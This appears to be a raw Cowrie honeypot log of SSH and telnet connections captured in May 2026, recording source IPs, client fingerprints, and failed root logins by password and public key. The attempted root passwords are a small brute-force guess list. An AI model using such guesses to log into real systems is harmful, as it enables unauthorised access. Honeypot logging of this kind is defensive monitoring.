{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:05:05.526167Z","src_ip":"51.250.105.222","session":"5ebc01c77097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:05:05.921764Z","src_ip":"51.250.105.222","session":"5ebc01c77097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:05:07.052258Z","src_ip":"51.250.105.222","session":"5ebc01c77097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54860,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c978d1ba6b6","protocol":"telnet","message":"New connection: 135.148.14.151:54860 (159.203.135.109:23) [session: 5c978d1ba6b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:05:19.562992Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":39668,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ec48894327d","protocol":"ssh","message":"New connection: 103.98.149.87:39668 (10.17.0.5:22) [session: 2ec48894327d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:06:08.596416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:06:08.674836Z","src_ip":"103.98.149.87","session":"2ec48894327d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:06:08.884361Z","src_ip":"103.98.149.87","session":"2ec48894327d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"watson","message":"login attempt [root/watson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:06:11.261172Z","src_ip":"103.98.149.87","session":"2ec48894327d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:06:13.674210Z","src_ip":"103.98.149.87","session":"2ec48894327d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":49464,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4810cfac28c","protocol":"ssh","message":"New connection: 46.19.67.181:49464 (159.203.135.109:22) [session: a4810cfac28c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:06:32.607510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:06:32.612973Z","src_ip":"46.19.67.181","session":"a4810cfac28c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:06:32.725385Z","src_ip":"46.19.67.181","session":"a4810cfac28c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poiuytre","message":"login attempt [root/poiuytre] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:06:33.064137Z","src_ip":"46.19.67.181","session":"a4810cfac28c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:06:34.179356Z","src_ip":"46.19.67.181","session":"a4810cfac28c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":33244,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c23de137377","protocol":"ssh","message":"New connection: 103.82.132.16:33244 (10.17.0.5:22) [session: 4c23de137377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:06:37.111466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:06:37.116020Z","src_ip":"103.82.132.16","session":"4c23de137377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:06:37.367753Z","src_ip":"103.82.132.16","session":"4c23de137377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shlyxa13","message":"login attempt [root/shlyxa13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:06:38.124415Z","src_ip":"103.82.132.16","session":"4c23de137377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:06:39.378616Z","src_ip":"103.82.132.16","session":"4c23de137377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01230835914612,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:07:19.574980Z","src_ip":"135.148.14.151","session":"5c978d1ba6b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":10218,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fb2bb7f7844","protocol":"ssh","message":"New connection: 38.93.206.2:10218 (10.17.0.5:22) [session: 9fb2bb7f7844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:07:24.385093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:07:24.391975Z","src_ip":"38.93.206.2","session":"9fb2bb7f7844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:07:24.443019Z","src_ip":"38.93.206.2","session":"9fb2bb7f7844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"30031988","message":"login attempt [root/30031988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:07:24.609518Z","src_ip":"38.93.206.2","session":"9fb2bb7f7844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:07:25.663540Z","src_ip":"38.93.206.2","session":"9fb2bb7f7844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.120.230.72","src_port":36074,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb62b9a62696","protocol":"ssh","message":"New connection: 194.120.230.72:36074 (10.17.0.5:22) [session: bb62b9a62696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:08:00.915224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:08:00.920347Z","src_ip":"194.120.230.72","session":"bb62b9a62696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:08:01.007856Z","src_ip":"194.120.230.72","session":"bb62b9a62696","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:fe:4d:05:70:d8:a8:46:94:e0:2b:0a:6c:23:bc:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCM2NZKNBynVxDoyzf/NH3Joh4sqM58ydUvQoTgGIFZTfJd4jLP+8jNbtnT/I1uJLaRkTojdHj8p5g18/T/06HRQ8cdR46EWDBI+7GA7/fnwzzgoSx1I1vN/FLA6MZKEvW9csnD6CZUXq+ZAZTyluJ5tnkqItbNaBaGdeTgjsfdviIwOXogkh8uTLxk+ZyLQddB4/PYbAYnILcLWrAE7vhNHhj8VcnFCywejpKVja6vn314s4sT88O26ccywdjGMFOlrPGLWW9JO2CuieOP9bDF7WrS0C74C1Lsu4mP1UqqZBRNrHhNui2tEsHI1Z6PwqUhOgCjJB9bDfNVX5XUvNKg2Qd0j0aGbC8eipcO0DhT/rhdQa9dZVi/DX1X3tCXks2vRow5FBB0uUX4okC3u5VBP/rN/U8yiyh5xDbb9RduFqFg9imvwL1C8WdB5c07fhOQYlB+irHhksLOMdsDIWdSuXl8+aEmw8R3e4qCVfD71JSQOkHJev8u/vMAyAqnqgGg5fAXnMjlyeSaSJsRRl4y9lBCjJgu67Xc4uytETFy8M9gcSe3Sz9tsDH4Md9ERUAemlo0DgCQeg663x9U25frYjvQYxXpb7gRXZe2/SUhpGs3iJ0Ra362wtZOa1Wq791+n7ydCou6bfPxNSNybrHPdZBdxZBremwKOiKnvU3iw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:fe:4d:05:70:d8:a8:46:94:e0:2b:0a:6c:23:bc:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:08:01.419194Z","src_ip":"194.120.230.72","session":"bb62b9a62696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:fe:4d:05:70:d8:a8:46:94:e0:2b:0a:6c:23:bc:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCM2NZKNBynVxDoyzf/NH3Joh4sqM58ydUvQoTgGIFZTfJd4jLP+8jNbtnT/I1uJLaRkTojdHj8p5g18/T/06HRQ8cdR46EWDBI+7GA7/fnwzzgoSx1I1vN/FLA6MZKEvW9csnD6CZUXq+ZAZTyluJ5tnkqItbNaBaGdeTgjsfdviIwOXogkh8uTLxk+ZyLQddB4/PYbAYnILcLWrAE7vhNHhj8VcnFCywejpKVja6vn314s4sT88O26ccywdjGMFOlrPGLWW9JO2CuieOP9bDF7WrS0C74C1Lsu4mP1UqqZBRNrHhNui2tEsHI1Z6PwqUhOgCjJB9bDfNVX5XUvNKg2Qd0j0aGbC8eipcO0DhT/rhdQa9dZVi/DX1X3tCXks2vRow5FBB0uUX4okC3u5VBP/rN/U8yiyh5xDbb9RduFqFg9imvwL1C8WdB5c07fhOQYlB+irHhksLOMdsDIWdSuXl8+aEmw8R3e4qCVfD71JSQOkHJev8u/vMAyAqnqgGg5fAXnMjlyeSaSJsRRl4y9lBCjJgu67Xc4uytETFy8M9gcSe3Sz9tsDH4Md9ERUAemlo0DgCQeg663x9U25frYjvQYxXpb7gRXZe2/SUhpGs3iJ0Ra362wtZOa1Wq791+n7ydCou6bfPxNSNybrHPdZBdxZBremwKOiKnvU3iw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:08:01.423477Z","src_ip":"194.120.230.72","session":"bb62b9a62696","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:5d:33:99:de:f3:70:52:d2:f4:6c:4a:13:37:cb:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9wWVAWqoL/Kvwyl94yKYZYyK0xblkY9jORrgROwxbToW5OsNq7PkFv6TibxyaRrFH0VUuS97uvSGJkbw7+DWNA7qnDJgIUlHuWsT3G4vaaep+RgYMboYJA/3BeT2IAtNnVIOlnW+aUJ+ZLQTp0WAPZuMARkDMrivw5oJN28WCPDaZKxNPJ+8zJBgvdZcxGdwUt2/gnypeaFBG3/K9xVayGkq2z2ViMWIoCDbSnEXKJWaRIlNYCOffE/En1o4eV9uPdmfPgbyxryChkRjgVadggD1WgOIL4clehsXbTOLroxOxz2uidj7Lpm3Q/xn4bosVpSeOLBKhI2P7PRQZp9fgC+4CbiCekjISiiCnJDsVNyKrDLzWnZcGAk+IaLByUogWErrTR+EbgFz70apCM/fxxhie7k/543CCG4mRh8S768YxDHfLME3I3tnMuyjeyX6Ndst7gdMAdhb+odoXyxhgtD9pwXyK3Mb8WmrWsz41vyxi5cZ3bMpkRClfCRgQBiU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:5d:33:99:de:f3:70:52:d2:f4:6c:4a:13:37:cb:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:08:01.512469Z","src_ip":"194.120.230.72","session":"bb62b9a62696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:5d:33:99:de:f3:70:52:d2:f4:6c:4a:13:37:cb:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9wWVAWqoL/Kvwyl94yKYZYyK0xblkY9jORrgROwxbToW5OsNq7PkFv6TibxyaRrFH0VUuS97uvSGJkbw7+DWNA7qnDJgIUlHuWsT3G4vaaep+RgYMboYJA/3BeT2IAtNnVIOlnW+aUJ+ZLQTp0WAPZuMARkDMrivw5oJN28WCPDaZKxNPJ+8zJBgvdZcxGdwUt2/gnypeaFBG3/K9xVayGkq2z2ViMWIoCDbSnEXKJWaRIlNYCOffE/En1o4eV9uPdmfPgbyxryChkRjgVadggD1WgOIL4clehsXbTOLroxOxz2uidj7Lpm3Q/xn4bosVpSeOLBKhI2P7PRQZp9fgC+4CbiCekjISiiCnJDsVNyKrDLzWnZcGAk+IaLByUogWErrTR+EbgFz70apCM/fxxhie7k/543CCG4mRh8S768YxDHfLME3I3tnMuyjeyX6Ndst7gdMAdhb+odoXyxhgtD9pwXyK3Mb8WmrWsz41vyxi5cZ3bMpkRClfCRgQBiU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:08:01.516682Z","src_ip":"194.120.230.72","session":"bb62b9a62696","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:83:96:f6:5b:08:ab:fa:b1:f0:3f:31:ab:19:d7:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDv4qT8mAUhN1JhyQtPoak1X0A5JvIedYH5sWbpLSjJiDWCIIImChO8zdFt1xQtOkaJJYJRj16bpDEXi4d/386lKygwClBrUjW87z2zASZm/fFVnJoIsXwjXmuW6UxyvWrJYw4L7Xbr4jWPIEgXLaKjPwMHx/0ZukrkOJHwalrwqGbdu7ZgIoe/hcJaH8+c4rdX5gamrjx7WUWqthucVuaJT+YRdJke4xvdHraAsNS/iF7ZWMcyhyfQpwo17/1cyi6GpJqG/G/8UMEnslfGE96NvnewZAfoioZTsEe7FFb9V0te2+FkJrpVtY0CauTa0zuOJFW+/8lqcBX5XekiLM6V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:83:96:f6:5b:08:ab:fa:b1:f0:3f:31:ab:19:d7:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:08:01.604719Z","src_ip":"194.120.230.72","session":"bb62b9a62696","protocol":"ssh"}
